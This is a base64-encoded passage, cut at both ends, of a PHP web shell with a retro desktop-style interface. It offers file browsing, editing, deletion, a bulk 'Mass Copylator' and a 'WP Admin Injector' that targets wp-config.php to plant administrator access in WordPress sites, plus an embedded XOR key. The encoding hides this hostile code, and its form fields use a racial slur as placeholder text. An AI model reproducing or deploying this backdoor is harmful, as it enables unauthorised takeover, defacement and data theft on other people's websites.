xsYWJlbD4mIzEyODE5Mzs8L2xhYmVsPgogICAgICAgIDxkaXYgY2xhc3M9InctYWRkci1iYXIiIGlkPSJhZGRyLWJhciI+PC9kaXY+CiAgICAgICAgPGJ1dHRvbiBjbGFzcz0idy1idG4iIG9uY2xpY2s9ImxvYWREaXJlY3RvcnkoY3VycmVudERpcikiIHRpdGxlPSJSZWZyZXNoIj4mIzg2MzU7PC9idXR0b24+CiAgICA8L2Rpdj4KCiAgICA8ZGl2IGNsYXNzPSJ3LWJvZHkiIGlkPSJtYWluLWJvZHkiPgogICAgICAgIDxkaXYgaWQ9Im1zZy1jb250YWluZXIiPjwvZGl2PgogICAgICAgIDxkaXYgaWQ9ImZpbGUtY29udGFpbmVyIj48ZGl2IGNsYXNzPSJlbXB0eS1tc2ciPkxvYWRpbmcuLi48L2Rpdj48L2Rpdj4KICAgIDwvZGl2PgoKICAgIDxkaXYgY2xhc3M9Inctc3RhdHVzIj4KICAgICAgICA8ZGl2IGNsYXNzPSJ3LXN0YXR1cy1zZWMiIGlkPSJzdGF0dXMtb2JqIj4wIGZvbGRlcihzKSwgMCBmaWxlKHMpPC9kaXY+CiAgICAgICAgPGRpdiBjbGFzcz0idy1zdGF0dXMtc2VjIiBpZD0ic3RhdHVzLXNpemUiPjAgQjwvZGl2PgogICAgPC9kaXY+CjwvZGl2PgoKPCEtLSBFZGl0b3IgRGlhbG9nIC0tPgo8ZGl2IGNsYXNzPSJtb2RhbC1iZyBoaWRkZW4iIGlkPSJkbGctZWRpdG9yIiBvbmNsaWNrPSJpZihldmVudC50YXJnZXQ9PT10aGlzKWNsb3NlRGlhbG9nKCdkbGctZWRpdG9yJyk7Ij4KICAgIDxkaXYgY2xhc3M9Inctd2luIiBzdHlsZT0ibWF4LXdpZHRoOjkwMHB4O3dpZHRoOjk1JTsiPgogICAgICAgIDxkaXYgY2xhc3M9InctdGl0bGUiPjxzcGFuIGNsYXNzPSJ3LXRpdGxlLXRleHQiIGlkPSJlZGl0b3ItdGl0bGUiPk5vdGVwYWQ8L3NwYW4+PGJ1dHRvbiBjbGFzcz0idy10aXRsZS1idG4iIG9uY2xpY2s9ImNsb3NlRGlhbG9nKCdkbGctZWRpdG9yJykiPiYjMTAwMDU7PC9idXR0b24+PC9kaXY+CiAgICAgICAgPGRpdiBjbGFzcz0idy1ib2R5Ij4KICAgICAgICAgICAgPGRpdiBzdHlsZT0iZGlzcGxheTpmbGV4O2dhcDo2cHg7bWFyZ2luLWJvdHRvbTo2cHg7YWxpZ24taXRlbXM6Y2VudGVyO2ZsZXgtd3JhcDp3cmFwOyI+CiAgICAgICAgICAgICAgICA8YnV0dG9uIGNsYXNzPSJ3LWJ0biIgb25jbGljaz0ic2F2ZUZpbGUoKSI+PHNwYW4gc3R5bGU9ImNvbG9yOiMwMDgwMDA7Ij4mIzEwMDAzOzwvc3Bhbj4gU2F2ZTwvYnV0dG9uPgogICAgICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz0idy1idG4iIG9uY2xpY2s9ImNsb3NlRGlhbG9nKCdkbGctZWRpdG9yJykiPjxzcGFuIHN0eWxlPSJjb2xvcjojYzAwOyI+JiMxMDAwNTs8L3NwYW4+IENsb3NlPC9idXR0b24+CiAgICAgICAgICAgICAgICA8c3BhbiBzdHlsZT0ibWFyZ2luLWxlZnQ6YXV0bztjb2xvcjojODA4MDgwO2ZvbnQtc2l6ZToxMHB4OyIgaWQ9ImVkaXRvci1wYXRoIj48L3NwYW4+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJlZGl0b3Itd3JhcCI+PHRleHRhcmVhIGlkPSJlZGl0b3ItY29udGVudCIgc3BlbGxjaGVjaz0iZmFsc2UiPjwvdGV4dGFyZWE+PC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICA8L2Rpdj4KPC9kaXY+Cgo8IS0tIE5ldyBGb2xkZXIgRGlhbG9nIC0tPgo8ZGl2IGNsYXNzPSJtb2RhbC1iZyBoaWRkZW4iIGlkPSJkbGctbmV3Zm9sZGVyIiBvbmNsaWNrPSJpZihldmVudC50YXJnZXQ9PT10aGlzKWNsb3NlRGlhbG9nKCdkbGctbmV3Zm9sZGVyJyk7Ij4KICAgIDxkaXYgY2xhc3M9InctZGxnIj4KICAgICAgICA8ZGl2IGNsYXNzPSJ3LWRsZy10aXRsZSI+PHNwYW4+TmV3IEZvbGRlcjwvc3Bhbj48YnV0dG9uIGNsYXNzPSJ3LXRpdGxlLWJ0biIgb25jbGljaz0iY2xvc2VEaWFsb2coJ2RsZy1uZXdmb2xkZXInKSI+JiMxMDAwNTs8L2J1dHRvbj48L2Rpdj4KICAgICAgICA8ZGl2IGNsYXNzPSJ3LWRsZy1ib2R5Ij48bGFiZWwgc3R5bGU9ImRpc3BsYXk6YmxvY2s7bWFyZ2luLWJvdHRvbTo2cHg7Ij5Gb2xkZXIgbmFtZTo8L2xhYmVsPjxpbnB1dCB0eXBlPSJ0ZXh0IiBpZD0iaW5wLW5ld2ZvbGRlciIgY2xhc3M9InctZmllbGQiIHN0eWxlPSJ3aWR0aDoxMDAlO3BhZGRpbmc6M3B4IDRweDsiIG9ua2V5ZG93bj0iaWYoZXZlbnQua2V5PT09J0VudGVyJylkb05ld0ZvbGRlcigpO2lmKGV2ZW50LmtleT09PSdFc2NhcGUnKWNsb3NlRGlhbG9nKCdkbGctbmV3Zm9sZGVyJyk7Ij48L2Rpdj4KICAgICAgICA8ZGl2IGNsYXNzPSJ3LWRsZy1mb290Ij48YnV0dG9uIGNsYXNzPSJ3LWJ0biIgb25jbGljaz0iZG9OZXdGb2xkZXIoKSI+T0s8L2J1dHRvbj48YnV0dG9uIGNsYXNzPSJ3LWJ0biIgb25jbGljaz0iY2xvc2VEaWFsb2coJ2RsZy1uZXdmb2xkZXInKSI+Q2FuY2VsPC9idXR0b24+PC9kaXY+CiAgICA8L2Rpdj4KPC9kaXY+Cgo8IS0tIFJlbmFtZSBEaWFsb2cgLS0+CjxkaXYgY2xhc3M9Im1vZGFsLWJnIGhpZGRlbiIgaWQ9ImRsZy1yZW5hbWUiIG9uY2xpY2s9ImlmKGV2ZW50LnRhcmdldD09PXRoaXMpY2xvc2VEaWFsb2coJ2RsZy1yZW5hbWUnKTsiPgogICAgPGRpdiBjbGFzcz0idy1kbGciPgogICAgICAgIDxkaXYgY2xhc3M9InctZGxnLXRpdGxlIj48c3Bhbj5SZW5hbWU8L3NwYW4+PGJ1dHRvbiBjbGFzcz0idy10aXRsZS1idG4iIG9uY2xpY2s9ImNsb3NlRGlhbG9nKCdkbGctcmVuYW1lJykiPiYjMTAwMDU7PC9idXR0b24+PC9kaXY+CiAgICAgICAgPGRpdiBjbGFzcz0idy1kbGctYm9keSI+PGxhYmVsIHN0eWxlPSJkaXNwbGF5OmJsb2NrO21hcmdpbi1ib3R0b206NnB4OyI+TmV3IG5hbWU6PC9sYWJlbD48aW5wdXQgdHlwZT0idGV4dCIgaWQ9ImlucC1yZW5hbWUiIGNsYXNzPSJ3LWZpZWxkIiBzdHlsZT0id2lkdGg6MTAwJTtwYWRkaW5nOjNweCA0cHg7IiBvbmtleWRvd249ImlmKGV2ZW50LmtleT09PSdFbnRlcicpZG9SZW5hbWUoKTtpZihldmVudC5rZXk9PT0nRXNjYXBlJyljbG9zZURpYWxvZygnZGxnLXJlbmFtZScpOyI+PC9kaXY+CiAgICAgICAgPGRpdiBjbGFzcz0idy1kbGctZm9vdCI+PGJ1dHRvbiBjbGFzcz0idy1idG4iIG9uY2xpY2s9ImRvUmVuYW1lKCkiPk9LPC9idXR0b24+PGJ1dHRvbiBjbGFzcz0idy1idG4iIG9uY2xpY2s9ImNsb3NlRGlhbG9nKCdkbGctcmVuYW1lJykiPkNhbmNlbDwvYnV0dG9uPjwvZGl2PgogICAgPC9kaXY+CjwvZGl2PgoKPCEtLSBEZWxldGUgRGlhbG9nIC0tPgo8ZGl2IGNsYXNzPSJtb2RhbC1iZyBoaWRkZW4iIGlkPSJkbGctZGVsZXRlIiBvbmNsaWNrPSJpZihldmVudC50YXJnZXQ9PT10aGlzKWNsb3NlRGlhbG9nKCdkbGctZGVsZXRlJyk7Ij4KICAgIDxkaXYgY2xhc3M9InctZGxnIj4KICAgICAgICA8ZGl2IGNsYXNzPSJ3LWRsZy10aXRsZSI+PHNwYW4+Q29uZmlybSBEZWxldGU8L3NwYW4+PGJ1dHRvbiBjbGFzcz0idy10aXRsZS1idG4iIG9uY2xpY2s9ImNsb3NlRGlhbG9nKCdkbGctZGVsZXRlJykiPiYjMTAwMDU7PC9idXR0b24+PC9kaXY+CiAgICAgICAgPGRpdiBjbGFzcz0idy1kbGctYm9keSI+PGRpdiBzdHlsZT0iZGlzcGxheTpmbGV4O2FsaWduLWl0ZW1zOmZsZXgtc3RhcnQ7Z2FwOjEycHg7Ij48ZGl2IHN0eWxlPSJ3aWR0aDozMnB4O2hlaWdodDozMnB4O2JhY2tncm91bmQ6I2MwMDtib3JkZXItcmFkaXVzOjUwJTtkaXNwbGF5OmZsZXg7YWxpZ24taXRlbXM6Y2VudGVyO2p1c3RpZnktY29udGVudDpjZW50ZXI7Y29sb3I6I2ZmZjtmb250LXdlaWdodDpib2xkO2ZvbnQtc2l6ZToyMHB4O2ZsZXgtc2hyaW5rOjA7Ij4hPC9kaXY+PGRpdj48cD5BcmUgeW91IHN1cmUgeW91IHdhbnQgdG8gZGVsZXRlPC9wPjxwIHN0eWxlPSJmb250LXdlaWdodDpib2xkO21hcmdpbjo0cHggMDt3b3JkLWJyZWFrOmJyZWFrLWFsbDsiIGlkPSJkZWxldGUtbmFtZSI+PC9wPjxwIHN0eWxlPSJjb2xvcjojODA4MDgwOyI+VGhpcyBhY3Rpb24gY2Fubm90IGJlIHVuZG9uZS48L3A+PC9kaXY+PC9kaXY+PC9kaXY+CiAgICAgICAgPGRpdiBjbGFzcz0idy1kbGctZm9vdCI+PGJ1dHRvbiBjbGFzcz0idy1idG4iIG9uY2xpY2s9ImRvRGVsZXRlKCkiPlllczwvYnV0dG9uPjxidXR0b24gY2xhc3M9InctYnRuIiBvbmNsaWNrPSJjbG9zZURpYWxvZygnZGxnLWRlbGV0ZScpIj5ObzwvYnV0dG9uPjwvZGl2PgogICAgPC9kaXY+CjwvZGl2PgoKPCEtLSBNYXNzIENvcHkgVG9vbCAtLT4KPGRpdiBjbGFzcz0ibW9kYWwtYmcgaGlkZGVuIiBpZD0iZGxnLWNhbGMiIG9uY2xpY2s9ImlmKGV2ZW50LnRhcmdldD09PXRoaXMpY2xvc2VEaWFsb2coJ2RsZy1jYWxjJyk7Ij4KICAgIDxkaXYgY2xhc3M9Inctd2luIHctY2FsYy13aW4iPgogICAgICAgIDxkaXYgY2xhc3M9InctdGl0bGUiPjxzcGFuIGNsYXNzPSJ3LXRpdGxlLXRleHQiPk1hc3MgQ29weWxhdG9yPC9zcGFuPjxidXR0b24gY2xhc3M9InctdGl0bGUtYnRuIiBvbmNsaWNrPSJjbG9zZURpYWxvZygnZGxnLWNhbGMnKSI+JiMxMDAwNTs8L2J1dHRvbj48L2Rpdj4KICAgICAgICA8ZGl2IGNsYXNzPSJ3LWNhbGMtYm9keSI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9InctY2FsYy1kaXNwbGF5IiBpZD0iY2FsYy1zY3JlZW4iPjA8L2Rpdj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0idy1jYWxjLWlucHV0cyI+CiAgICAgICAgICAgICAgICA8bGFiZWw+U291cmNlOjwvbGFiZWw+PGlucHV0IHR5cGU9InRleHQiIGlkPSJjYWxjLXNyYyIgcGxhY2Vob2xkZXI9Im5pZ2dheiIgb25mb2N1cz0iY2FsY1RhcmdldD10aGlzIj4KICAgICAgICAgICAgICAgIDxsYWJlbCBzdHlsZT0ibWFyZ2luLXRvcDo0cHg7Ij5EZXN0aW5hdGlvbjo8L2xhYmVsPjxpbnB1dCB0eXBlPSJ0ZXh0IiBpZD0iY2FsYy1kZXN0IiBwbGFjZWhvbGRlcj0ibmlnZ2F6IiBvbmZvY3VzPSJjYWxjVGFyZ2V0PXRoaXMiPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0idy1jYWxjLWdyaWQiPgogICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJ3LWNhbGMtYnRuIHJlZCIgb25jbGljaz0iY2xlYXJDYWxjKCkiPkM8L2J1dHRvbj48YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9InctY2FsYy1idG4gcmVkIiBvbmNsaWNrPSJjbGVhckNhbGMoKSI+Q0U8L2J1dHRvbj48YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9InctY2FsYy1idG4gYmx1ZSIgb25jbGljaz0iY2FsY0JhY2tzcGFjZSgpIj5CYWNrPC9idXR0b24+PGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJ3LWNhbGMtYnRuIGJsdWUiIG9uY2xpY2s9ImNhbGNUeXBlKCcvJykiPi88L2J1dHRvbj48YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9InctY2FsYy1idG4gYmx1ZSIgb25jbGljaz0iY2FsY1R5cGUoJyonKSI+KjwvYnV0dG9uPgogICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJ3LWNhbGMtYnRuIiBvbmNsaWNrPSJjYWxjVHlwZSgnNycpIj43PC9idXR0b24+PGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJ3LWNhbGMtYnRuIiBvbmNsaWNrPSJjYWxjVHlwZSgnOCcpIj44PC9idXR0b24+PGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJ3LWNhbGMtYnRuIiBvbmNsaWNrPSJjYWxjVHlwZSgnOScpIj45PC9idXR0b24+PGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJ3LWNhbGMtYnRuIGJsdWUiIG9uY2xpY2s9ImNhbGNUeXBlKCcuJykiPi48L2J1dHRvbj48YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9InctY2FsYy1idG4gYmx1ZSIgb25jbGljaz0iY2FsY1R5cGUoJy0nKSI+LTwvYnV0dG9uPgogICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJ3LWNhbGMtYnRuIiBvbmNsaWNrPSJjYWxjVHlwZSgnNCcpIj40PC9idXR0b24+PGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJ3LWNhbGMtYnRuIiBvbmNsaWNrPSJjYWxjVHlwZSgnNScpIj41PC9idXR0b24+PGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJ3LWNhbGMtYnRuIiBvbmNsaWNrPSJjYWxjVHlwZSgnNicpIj42PC9idXR0b24+PGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJ3LWNhbGMtYnRuIGJsdWUiIG9uY2xpY2s9ImNhbGNUeXBlKCdfJykiPl88L2J1dHRvbj48YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9InctY2FsYy1idG4gYmx1ZSIgb25jbGljaz0iY2FsY1R5cGUoJ34nKSI+fjwvYnV0dG9uPgogICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJ3LWNhbGMtYnRuIiBvbmNsaWNrPSJjYWxjVHlwZSgnMScpIj4xPC9idXR0b24+PGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJ3LWNhbGMtYnRuIiBvbmNsaWNrPSJjYWxjVHlwZSgnMicpIj4yPC9idXR0b24+PGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJ3LWNhbGMtYnRuIiBvbmNsaWNrPSJjYWxjVHlwZSgnMycpIj4zPC9idXR0b24+PGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJ3LWNhbGMtYnRuIGJsdWUiIG9uY2xpY2s9ImNhbGNUeXBlKCdob21lJykiPmhvbWU8L2J1dHRvbj48YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9InctY2FsYy1idG4gYmx1ZSIgb25jbGljaz0iY2FsY1R5cGUoJ3ZhcicpIj52YXI8L2J1dHRvbj4KICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0idy1jYWxjLWJ0biB3aWRlIiBvbmNsaWNrPSJjYWxjVHlwZSgnMCcpIj4wPC9idXR0b24+PGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJ3LWNhbGMtYnRuIiBvbmNsaWNrPSJkb01hc3NDb3B5KCkiPkdvPC9idXR0b24+PGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJ3LWNhbGMtYnRuIGdyZWVuIHdpZGUiIG9uY2xpY2s9ImRvTWFzc0NvcHkoKSI+PTwvYnV0dG9uPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgIDwvZGl2Pgo8L2Rpdj4KCjwhLS0gV1AgQWRtaW4gSW5qZWN0b3IgVG9vbCAtLT4KPGRpdiBjbGFzcz0ibW9kYWwtYmcgaGlkZGVuIiBpZD0iZGxnLXdwIiBvbmNsaWNrPSJpZihldmVudC50YXJnZXQ9PT10aGlzKWNsb3NlRGlhbG9nKCdkbGctd3AnKTsiPgogICAgPGRpdiBjbGFzcz0idy13aW4gdy1jYWxjLXdpbiI+CiAgICAgICAgPGRpdiBjbGFzcz0idy10aXRsZSI+PHNwYW4gY2xhc3M9InctdGl0bGUtdGV4dCI+RWplY3Rvcjwvc3Bhbj48YnV0dG9uIGNsYXNzPSJ3LXRpdGxlLWJ0biIgb25jbGljaz0iY2xvc2VEaWFsb2coJ2RsZy13cCcpIj4mIzEwMDA1OzwvYnV0dG9uPjwvZGl2PgogICAgICAgIDxkaXYgY2xhc3M9InctY2FsYy1ib2R5Ij4KICAgICAgICAgICAgPGRpdiBjbGFzcz0idy1jYWxjLWRpc3BsYXkiIGlkPSJ3cC1zY3JlZW4iPjA8L2Rpdj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0idy1jYWxjLWlucHV0cyI+CiAgICAgICAgICAgICAgICA8bGFiZWw+UGF0aDo8L2xhYmVsPjxpbnB1dCB0eXBlPSJ0ZXh0IiBpZD0id3AtY29uZmlnLXBhdGgiIHBsYWNlaG9sZGVyPSJuaWdnYXoiIG9uZm9jdXM9IndwVGFyZ2V0PXRoaXMiPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0idy1jYWxjLWdyaWQiPgogICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJ3LWNhbGMtYnRuIHJlZCIgb25jbGljaz0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3dwLWNvbmZpZy1wYXRoJykudmFsdWU9Jyc7IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd3cC1zY3JlZW4nKS5pbm5lclRleHQ9JzAnOyI+QzwvYnV0dG9uPgogICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJ3LWNhbGMtYnRuIGJsdWUiIG9uY2xpY2s9IndwQmFja3NwYWNlKCkiPkJhY2s8L2J1dHRvbj4KICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0idy1jYWxjLWJ0biBibHVlIiBvbmNsaWNrPSJ3cFR5cGUoJy8nKSI+LzwvYnV0dG9uPgogICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJ3LWNhbGMtYnRuIGJsdWUiIG9uY2xpY2s9IndwVHlwZSgnKicpIj4qPC9idXR0b24+CiAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9InctY2FsYy1idG4gYmx1ZSIgb25jbGljaz0id3BUeXBlKCdob21lJykiPmhvbWU8L2J1dHRvbj4KICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJ3LWNhbGMtYnRuIGJsdWUiIG9uY2xpY2s9IndwVHlwZSgndmFyJykiPnZhcjwvYnV0dG9uPgogICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJ3LWNhbGMtYnRuIGJsdWUiIG9uY2xpY2s9IndwVHlwZSgncHVibGljX2h0bWwnKSI+cHVibGljX2h0bWw8L2J1dHRvbj4KICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0idy1jYWxjLWJ0biBibHVlIiBvbmNsaWNrPSJ3cFR5cGUoJ3d3dycpIj53d3c8L2J1dHRvbj4KICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0idy1jYWxjLWJ0biBibHVlIiBvbmNsaWNrPSJ3cFR5cGUoJ2h0bWwnKSI+aHRtbDwvYnV0dG9uPgogICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJ3LWNhbGMtYnRuIGJsdWUiIG9uY2xpY2s9IndwVHlwZSgnXycpIj5fPC9idXR0b24+CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0idy1jYWxjLWJ0biBibHVlIiBvbmNsaWNrPSJ3cFR5cGUoJy4nKSI+LjwvYnV0dG9uPgogICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJ3LWNhbGMtYnRuIGJsdWUgd2lkZSIgb25jbGljaz0id3BUeXBlKCd3cC1jb25maWcucGhwJykiPndwLWNvbmZpZy5waHA8L2J1dHRvbj4KICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0idy1jYWxjLWJ0biBncmVlbiB3aWRlIiBzdHlsZT0iZ3JpZC1jb2x1bW46c3BhbiAyOyIgb25jbGljaz0iZG9XcEluamVjdCgpIj49IElOSkVDVDwvYnV0dG9uPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgIDwvZGl2Pgo8L2Rpdj4KCjxkaXYgY2xhc3M9InRhc2tiYXIiPgogICAgPGJ1dHRvbiBjbGFzcz0ic3RhcnQtYnRuIj48c3ZnIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNCIgdmlld0JveD0iMCAwIDE2IDE0Ij48cmVjdCB4PSIwIiB5PSIwIiB3aWR0aD0iNyIgaGVpZ2h0PSI2IiBmaWxsPSIjZjAwIi8+PHJlY3QgeD0iOSIgeT0iMCIgd2lkdGg9IjciIGhlaWdodD0iNiIgZmlsbD0iIzBmMCIvPjxyZWN0IHg9IjAiIHk9IjgiIHdpZHRoPSI3IiBoZWlnaHQ9IjYiIGZpbGw9IiMwMGYiLz48cmVjdCB4PSI5IiB5PSI4IiB3aWR0aD0iNyIgaGVpZ2h0PSI2IiBmaWxsPSIjZmYwIi8+PC9zdmc+IFN0YXJ0PC9idXR0b24+CiAgICA8ZGl2IGNsYXNzPSJ0YXNrYmFyLWFwcCI+PGRpdiBjbGFzcz0iaWNvIGljby1mb2xkZXIiIHN0eWxlPSJtYXJnaW46MDt3aWR0aDoxMnB4O2hlaWdodDoxMHB4OyI+PC9kaXY+PHNwYW4gaWQ9InRhc2tiYXItdGV4dCI+TXkgQ29tcHV0ZXI8L3NwYW4+PC9kaXY+CiAgICA8ZGl2IGNsYXNzPSJ0YXNrYmFyLXRyYXkiPjxzcGFuIGlkPSJjbG9jayI+PC9zcGFuPjwvZGl2Pgo8L2Rpdj4KCjxzY3JpcHQ+CmNvbnN0IGluaXREaXIgPSAnPD9waHAgZWNobyBhZGRzbGFzaGVzKCRpbml0RGlyKTsgPz4nOwpsZXQgY3VycmVudERpciA9IGluaXREaXI7CmxldCBwYXJlbnREaXIgPSBpbml0RGlyOwpsZXQgc2VsUGF0aCA9IG51bGw7CmxldCBzZWxOYW1lID0gbnVsbDsKbGV0IGNhbGNUYXJnZXQgPSBudWxsOwpsZXQgd3BUYXJnZXQgPSBudWxsOwpsZXQgZWRpdGluZ0ZpbGVQYXRoID0gbnVsbDsKCmNvbnN0IFhPUl9LRVkgPSAnPD9waHAgZWNobyBhZGRzbGFzaGVzKCRYT1JfS0VZKTsgPz4nOwoKLy8gPT09IEFQSSBDQUxMUyA9PT0KYXN5bmMgZnVuY3Rpb24gYXBpQ2FsbChkYXRhKSB7CiAgICBpZiAoIWRhdGEpIGRhdGEgPSB7fTsKICAgIGRhdGEua2F2aXRhID0gY3VycmVudERpcjsKICAgIGNvbnN0IGZkID0gbmV3IEZvcm1EYXRhKCk7CiAgICBmb3IgKGNvbnN0IGsgaW4gZGF0YSkgZmQuYXBwZW5kKGssIGRhdGFba10pOwogICAgdHJ5IHsKICAgICAgICBjb25zdCByZXMgPSBhd2FpdCBmZXRjaCgnP2FwaT0xJywgeyBtZXRob2Q6ICdQT1NUJywgYm9keTogZmQgfSk7CiAgICAgICAgcmV0dXJuIGF3YWl0IHJlcy5qc29uKCk7CiAgICB9IGNhdGNoIChlKSB7IHNob3dNc2coJ05ldHdvcmsgRXJyb3I6ICcgKyBlLm1lc3NhZ2UsICdlcnJvcicpOyByZXR1cm4gbnVsbDsgfQp9CgovLyA9PT0gVUkgVVBEQVRFUyA9PT0KZnVuY3Rpb24gc2hvd01zZyhtc2csIHR5cGUpIHsKICAgIGNvbnN0IGMgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbXNnLWNvbnRhaW5lcicpOwogICAgY29uc3QgZCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2RpdicpOwogICAgZC5jbGFzc05hbWUgPSAnbXNnIG1zZy0nICsgdHlwZTsKICAgIGQudGV4dENvbnRlbnQgPSBtc2c7CiAgICBjLmFwcGVuZENoaWxkKGQpOwogICAgc2V0VGltZW91dChmdW5jdGlvbigpIHsgZC5yZW1vdmUoKTsgfSwgMzUwMCk7Cn0KCmZ1bmN0aW9uIGVzY0h0bWwocykgewogICAgY29uc3QgZCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2RpdicpOwogICAgZC50ZXh0Q29udGVudCA9IHM7CiAgICByZXR1cm4gZC5pbm5lckhUTUw7Cn0KCmZ1bmN0aW9uIGVzY0F0dHIocykgewogICAgcmV0dXJuIHMucmVwbGFjZSgvJy9nLCAiXFwnIikucmVwbGFjZSgvIi9nLCAnJnF1b3Q7Jyk7Cn0KCmZ1bmN0aW9uIHJlbmRlckRpcihkYXRhKSB7CiAgICBjdXJyZW50RGlyID0gZGF0YS5jdXJyZW50RGlyOwogICAgcGFyZW50RGlyID0gZGF0YS5wYXJlbnREaXI7CiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnd2luLXRpdGxlJykudGV4dENvbnRlbnQgPSBjdXJyZW50RGlyOwogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3Rhc2tiYXItdGV4dCcpLnRleHRDb250ZW50ID0gY3VycmVudERpci5zcGxpdCgnLycpLnBvcCgpIHx8ICcvJzsKICAgIGhpc3RvcnkucHVzaFN0YXRlKHtwYXRoOiBjdXJyZW50RGlyfSwgJycsICc/a2F2aXRhPScgKyBlbmNvZGVVUklDb21wb25lbnQoY3VycmVudERpcikpOwoKICAgIGNvbnN0IGFkZHJCYXIgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYWRkci1iYXInKTsKICAgIGFkZHJCYXIuaW5uZXJIVE1MID0gJyc7CiAgICBkYXRhLmJyZWFkY3J1bWJzLmZvckVhY2goZnVuY3Rpb24oYywgaSkgewogICAgICAgIGlmIChpID4gMCkgewogICAgICAgICAgICBjb25zdCBzZXAgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzcGFuJyk7CiAgICAgICAgICAgIHNlcC5jbGFzc05hbWUgPSAndy1hZGRyLXNlcCc7CiAgICAgICAgICAgIHNlcC5pbm5lckhUTUwgPSAnJiM5NjU2Oyc7CiAgICAgICAgICAgIGFkZHJCYXIuYXBwZW5kQ2hpbGQoc2VwKTsKICAgICAgICB9CiAgICAgICAgY29uc3QgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2EnKTsKICAgICAgICBhLnRleHRDb250ZW50ID0gYy5uYW1lOwogICAgICAgIGEub25jbGljayA9IGZ1bmN0aW9uKCkgeyBsb2FkRGlyZWN0b3J5KGMucGF0aCk7IH07CiAgICAgICAgYWRkckJhci5hcHBlbmRDaGlsZChhKTsKICAgIH0pOwoKICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzdGF0dXMtb2JqJykudGV4dENvbnRlbnQgPSBkYXRhLmRpckNvdW50ICsgJyBmb2xkZXIocyksICcgKyBkYXRhLmZpbGVDb3VudCArICcgZmlsZShzKSc7CiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc3RhdHVzLXNpemUnKS50ZXh0Q29udGVudCA9IGRhdGEudG90YWxTaXplOwoKICAgIGNvbnN0IGZjID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2ZpbGUtY29udGFpbmVyJyk7CiAgICBpZiAoZGF0YS5pdGVtcy5sZW5ndGggPT09IDApIHsKICAgICAgICBmYy5pbm5lckhUTUwgP